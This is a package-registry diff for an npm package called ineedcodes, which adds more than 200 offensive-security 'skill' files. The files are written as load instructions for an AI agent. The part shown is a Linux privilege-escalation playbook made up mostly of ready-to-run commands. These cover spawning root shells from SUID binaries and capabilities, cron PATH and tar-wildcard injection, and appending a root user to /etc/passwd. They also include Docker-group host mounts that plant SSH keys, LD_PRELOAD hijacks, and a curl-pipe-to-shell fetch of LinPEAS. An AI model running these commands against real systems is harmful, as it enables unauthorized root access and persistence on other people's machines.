ineedcodes 1.6.1 → 1.7.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +5 -3
  217. package/src/skills.js +37 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,346 @@
1
+ ---
2
+ name: linux-privilege-escalation
3
+ description: >-
4
+ Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.gated: true
5
+ ---
6
+
7
+ # SKILL: Linux Privilege Escalation — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host
16
+ - [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp
17
+ - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts
18
+ - [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node
19
+
20
+ ### Advanced Reference
21
+
22
+ Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need:
23
+ - Top 30 SUID binaries with exact exploitation commands (GTFOBins)
24
+ - Capability-specific exploitation for each dangerous cap
25
+ - Custom SUID binary exploitation methodology
26
+
27
+ Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need:
28
+ - Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
29
+ - Exploit compilation tips and cross-compilation notes
30
+ - Kernel exploit stability assessment
31
+
32
+ ---
33
+
34
+ ## 1. ENUMERATION CHECKLIST
35
+
36
+ Run these immediately after landing a shell:
37
+
38
+ ### System Info
39
+
40
+ ```bash
41
+ uname -a # Kernel version
42
+ cat /etc/os-release # Distro and version
43
+ cat /proc/version # Kernel compile info
44
+ hostname && id && whoami # Current context
45
+ ```
46
+
47
+ ### Sudo & SUID/SGID
48
+
49
+ ```bash
50
+ sudo -l # What can we run as root?
51
+ find / -perm -4000 -type f 2>/dev/null # SUID binaries
52
+ find / -perm -2000 -type f 2>/dev/null # SGID binaries
53
+ getcap -r / 2>/dev/null # Files with capabilities
54
+ ```
55
+
56
+ ### Cron & Timers
57
+
58
+ ```bash
59
+ cat /etc/crontab
60
+ ls -la /etc/cron.*
61
+ crontab -l
62
+ systemctl list-timers --all # systemd timers
63
+ ```
64
+
65
+ ### Writable Files & Dirs
66
+
67
+ ```bash
68
+ find / -writable -type f 2>/dev/null | grep -v proc
69
+ ls -la /etc/passwd /etc/shadow # Check permissions
70
+ find / -perm -o+w -type d 2>/dev/null # World-writable dirs
71
+ ```
72
+
73
+ ### Network & Services
74
+
75
+ ```bash
76
+ ss -tlnp # Listening services
77
+ cat /proc/net/tcp # Raw TCP connections
78
+ ps aux # Running processes
79
+ env # Environment variables (credentials?)
80
+ ```
81
+
82
+ ### Credential Locations
83
+
84
+ ```bash
85
+ cat ~/.bash_history
86
+ cat ~/.mysql_history
87
+ find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
88
+ find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
89
+ ```
90
+
91
+ ---
92
+
93
+ ## 2. SUID/SGID EXPLOITATION
94
+
95
+ ### GTFOBins Methodology
96
+
97
+ 1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
98
+ 2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/)
99
+ 3. Use the "SUID" section specifically — not all binary abuse works with SUID
100
+
101
+ ### Quick-Win SUID Escalations
102
+
103
+ | Binary | Command |
104
+ |---|---|
105
+ | `bash` | `bash -p` |
106
+ | `find` | `find . -exec /bin/sh -p \; -quit` |
107
+ | `vim` | `vim -c ':!/bin/sh'` |
108
+ | `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` |
109
+ | `env` | `env /bin/sh -p` |
110
+ | `nmap` (old) | `nmap --interactive` → `!sh` |
111
+ | `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` |
112
+ | `less` | `less /etc/passwd` → `!/bin/sh` |
113
+ | `cp` | Copy `/etc/passwd`, add root user, copy back |
114
+
115
+ ### Shared Library Hijacking (SUID Binary)
116
+
117
+ ```bash
118
+ ldd /usr/local/bin/suid_binary # Check loaded libraries
119
+ strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so" # Find load paths
120
+
121
+ # If it loads from a writable directory — inject constructor:
122
+ gcc -shared -fPIC -o /writable/path/libevil.so evil.c
123
+ # evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
124
+ ```
125
+
126
+ ---
127
+
128
+ ## 3. CAPABILITIES ABUSE
129
+
130
+ | Capability | Risk | Exploitation |
131
+ |---|---|---|
132
+ | `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |
133
+ | `cap_dac_override` | **Critical** | Read/write any file regardless of permissions |
134
+ | `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` |
135
+ | `cap_sys_admin` | **Critical** | Mount filesystems, BPF, namespace manipulation |
136
+ | `cap_sys_ptrace` | **High** | Inject into root processes via ptrace |
137
+ | `cap_net_raw` | **Medium** | Sniff traffic, ARP spoofing |
138
+ | `cap_net_bind_service` | **Low** | Bind to privileged ports (<1024) |
139
+ | `cap_fowner` | **High** | Change ownership of any file |
140
+
141
+ ```bash
142
+ # Find binaries with capabilities
143
+ getcap -r / 2>/dev/null
144
+
145
+ # Example: python3 with cap_setuid
146
+ # /usr/bin/python3 = cap_setuid+ep
147
+ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
148
+ ```
149
+
150
+ ---
151
+
152
+ ## 4. CRON / TIMER ABUSE
153
+
154
+ ### Writable Cron Scripts
155
+
156
+ ```bash
157
+ # Find cron jobs running as root
158
+ cat /etc/crontab | grep root
159
+ ls -la /etc/cron.d/
160
+
161
+ # If a root-owned cron runs a script writable by current user:
162
+ echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
163
+ # Wait for cron → /tmp/bash -p
164
+ ```
165
+
166
+ ### PATH Hijacking in Cron
167
+
168
+ ```bash
169
+ # If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
170
+ # And runs: * * * * * root backup.sh (without full path)
171
+ # Create /home/user/backup.sh:
172
+ echo '#!/bin/bash' > /home/user/backup.sh
173
+ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
174
+ chmod +x /home/user/backup.sh
175
+ ```
176
+
177
+ ### Wildcard Injection (tar)
178
+
179
+ ```bash
180
+ # If cron runs: tar czf /backup/archive.tar.gz *
181
+ # In the target directory, create:
182
+ echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
183
+ echo "" > "--checkpoint-action=exec=sh shell.sh"
184
+ echo "" > "--checkpoint=1"
185
+ # tar interprets filenames as arguments
186
+ ```
187
+
188
+ ### pspy — Monitor Processes Without Root
189
+
190
+ ```bash
191
+ # Upload pspy64 or pspy32 to target
192
+ ./pspy64
193
+ # Watch for cron jobs, services, and background processes
194
+ ```
195
+
196
+ ---
197
+
198
+ ## 5. NFS NO_ROOT_SQUASH
199
+
200
+ ```bash
201
+ # On attacker: check exported shares
202
+ showmount -e TARGET_IP
203
+
204
+ # If no_root_squash is set:
205
+ mount -t nfs TARGET_IP:/share /mnt/nfs
206
+ # As root on attacker box:
207
+ cp /bin/bash /mnt/nfs/bash
208
+ chmod +s /mnt/nfs/bash
209
+
210
+ # On target:
211
+ /share/bash -p # root shell
212
+ ```
213
+
214
+ ---
215
+
216
+ ## 6. WRITABLE /etc/passwd OR /etc/shadow
217
+
218
+ ### Writable /etc/passwd
219
+
220
+ ```bash
221
+ # Generate password hash
222
+ openssl passwd -1 -salt xyz password123
223
+ # → $1$xyz$...hash...
224
+
225
+ # Append root-equivalent user
226
+ echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd
227
+
228
+ # Or replace root's 'x' with generated hash (if no shadow file)
229
+ ```
230
+
231
+ ### Writable /etc/shadow
232
+
233
+ ```bash
234
+ # Generate SHA-512 hash
235
+ mkpasswd -m sha-512 password123
236
+
237
+ # Replace root's hash in /etc/shadow
238
+ ```
239
+
240
+ ---
241
+
242
+ ## 7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO
243
+
244
+ ```bash
245
+ # If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
246
+ # Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
247
+ gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
248
+ sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary
249
+ ```
250
+
251
+ ---
252
+
253
+ ## 8. DOCKER GROUP → ROOT
254
+
255
+ ```bash
256
+ # If current user is in the docker group:
257
+ id # check for "docker" in groups
258
+
259
+ # Mount host filesystem
260
+ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
261
+
262
+ # Or add SSH key
263
+ docker run -v /root:/mnt --rm -it alpine sh -c \
264
+ 'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'
265
+ ```
266
+
267
+ ---
268
+
269
+ ## 9. PYTHON / PERL / RUBY LIBRARY HIJACKING
270
+
271
+ ```bash
272
+ # Python: if a root-executed script does "import somelib"
273
+ # Check python path order:
274
+ python3 -c 'import sys; print("\n".join(sys.path))'
275
+
276
+ # Place malicious module in writable path that comes first:
277
+ cat > /writable/path/somelib.py << 'EOF'
278
+ import os
279
+ os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
280
+ EOF
281
+
282
+ # Perl: PERL5LIB / @INC manipulation
283
+ # Ruby: RUBYLIB / $LOAD_PATH manipulation
284
+ ```
285
+
286
+ ---
287
+
288
+ ## 10. AUTOMATED TOOLS
289
+
290
+ | Tool | Purpose | Command |
291
+ |---|---|---|
292
+ | **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |
293
+ | **linux-exploit-suggester** | Kernel exploit suggestions | `./linux-exploit-suggester.sh` |
294
+ | **pspy** | Monitor processes (no root needed) | `./pspy64` |
295
+ | **LinEnum** | Legacy enumeration | `./LinEnum.sh -t` |
296
+ | **GTFOBins** | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ |
297
+
298
+ ---
299
+
300
+ ## 11. PRIVILEGE ESCALATION DECISION TREE
301
+
302
+ ```
303
+ Low-privilege shell obtained
304
+
305
+ ├── sudo -l shows entries?
306
+ │ ├── GTFOBins match? → exploit directly
307
+ │ ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
308
+ │ ├── NOPASSWD on custom script? → review script for injection
309
+ │ └── (ALL) with password? → check for password reuse/hashes
310
+
311
+ ├── SUID/SGID binaries found?
312
+ │ ├── Standard binary on GTFOBins? → SUID exploit (§2)
313
+ │ ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
314
+ │ └── Shared lib from writable path? → library hijack (§2)
315
+
316
+ ├── Capabilities on binaries?
317
+ │ ├── cap_setuid? → instant root (§3)
318
+ │ ├── cap_dac_override? → write /etc/passwd (§6)
319
+ │ ├── cap_sys_admin? → mount / namespace tricks
320
+ │ └── cap_sys_ptrace? → process injection
321
+
322
+ ├── Cron jobs running as root?
323
+ │ ├── Writable script? → inject payload (§4)
324
+ │ ├── Missing full path? → PATH hijack (§4)
325
+ │ └── Uses wildcards? → wildcard injection (§4)
326
+
327
+ ├── Writable sensitive files?
328
+ │ ├── /etc/passwd writable? → add root user (§6)
329
+ │ ├── /etc/shadow writable? → replace root hash (§6)
330
+ │ └── systemd unit files writable? → add ExecStartPre
331
+
332
+ ├── Docker/LXD group membership?
333
+ │ └── Yes → mount host filesystem (§8)
334
+
335
+ ├── NFS shares with no_root_squash?
336
+ │ └── Yes → SUID binary via NFS (§5)
337
+
338
+ ├── Kernel version old/unpatched?
339
+ │ └── Check KERNEL_EXPLOITS_CHECKLIST.md
340
+
341
+ └── None of the above?
342
+ ├── Run LinPEAS for comprehensive scan
343
+ ├── Check for password reuse (bash_history, config files)
344
+ ├── Check internal services (127.0.0.1 listeners)
345
+ └── Monitor processes with pspy for hidden opportunities
346
+ ```
@@ -0,0 +1,305 @@
1
+ # SUID/SGID & Capabilities Exploitation Tricks
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this for detailed SUID binary exploitation commands (GTFOBins top 30), capability-specific abuse techniques, and custom SUID exploitation methodology. Assumes the main [SKILL.md](./SKILL.md) is already loaded for enumeration and general privesc flow.
4
+
5
+ ---
6
+
7
+ ## 1. TOP 30 SUID BINARIES — EXPLOITATION COMMANDS
8
+
9
+ All commands below assume the binary has the SUID bit set (`-rwsr-xr-x` with root ownership).
10
+
11
+ ### 1.1 Shell / Interpreters
12
+
13
+ | # | Binary | Exploit Command | Notes |
14
+ |---|---|---|---|
15
+ | 1 | `bash` | `bash -p` | `-p` preserves effective UID |
16
+ | 2 | `sh` | `sh -p` | Same as bash |
17
+ | 3 | `dash` | `dash -p` | Common on Debian |
18
+ | 4 | `zsh` | `zsh` | Drops to root without flags |
19
+ | 5 | `csh` | `csh` | Inherits SUID |
20
+ | 6 | `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` | Works for python2/3 |
21
+ | 7 | `perl` | `perl -e 'exec "/bin/sh";'` | — |
22
+ | 8 | `ruby` | `ruby -e 'exec "/bin/sh"'` | — |
23
+ | 9 | `lua` | `lua -e 'os.execute("/bin/sh")'` | — |
24
+ | 10 | `php` | `php -r 'pcntl_exec("/bin/sh", ["-p"]);'` | Needs pcntl extension |
25
+
26
+ ### 1.2 File Readers / Editors
27
+
28
+ | # | Binary | Exploit Command | Notes |
29
+ |---|---|---|---|
30
+ | 11 | `vim` / `vi` | `vim -c ':!/bin/sh'` | Or `:set shell=/bin/sh` then `:shell` |
31
+ | 12 | `nano` | `nano /etc/shadow` → read hashes | No direct shell; use for file read/write |
32
+ | 13 | `less` | `less /etc/shadow` → `!/bin/sh` | Press `!` then enter command |
33
+ | 14 | `more` | `more /etc/shadow` → `!/bin/sh` | Must be in paging mode (small terminal) |
34
+ | 15 | `ed` | `ed` → `!/bin/sh` | Line editor |
35
+ | 16 | `man` | `man man` → `!/bin/sh` | Uses pager (less) internally |
36
+ | 17 | `view` | `view -c ':!/bin/sh'` | Read-only vim variant |
37
+
38
+ ### 1.3 File Operations
39
+
40
+ | # | Binary | Exploit Command | Notes |
41
+ |---|---|---|---|
42
+ | 18 | `cp` | `cp /etc/shadow /tmp/shadow` | Read sensitive files; or overwrite `/etc/passwd` |
43
+ | 19 | `mv` | Replace `/etc/passwd` with crafted version | Destructive — backup first |
44
+ | 20 | `cat` | `cat /etc/shadow` | Read-only — crack hashes offline |
45
+ | 21 | `tee` | `echo 'hacker:...:0:0::/root:/bin/bash' \| tee -a /etc/passwd` | Append to files |
46
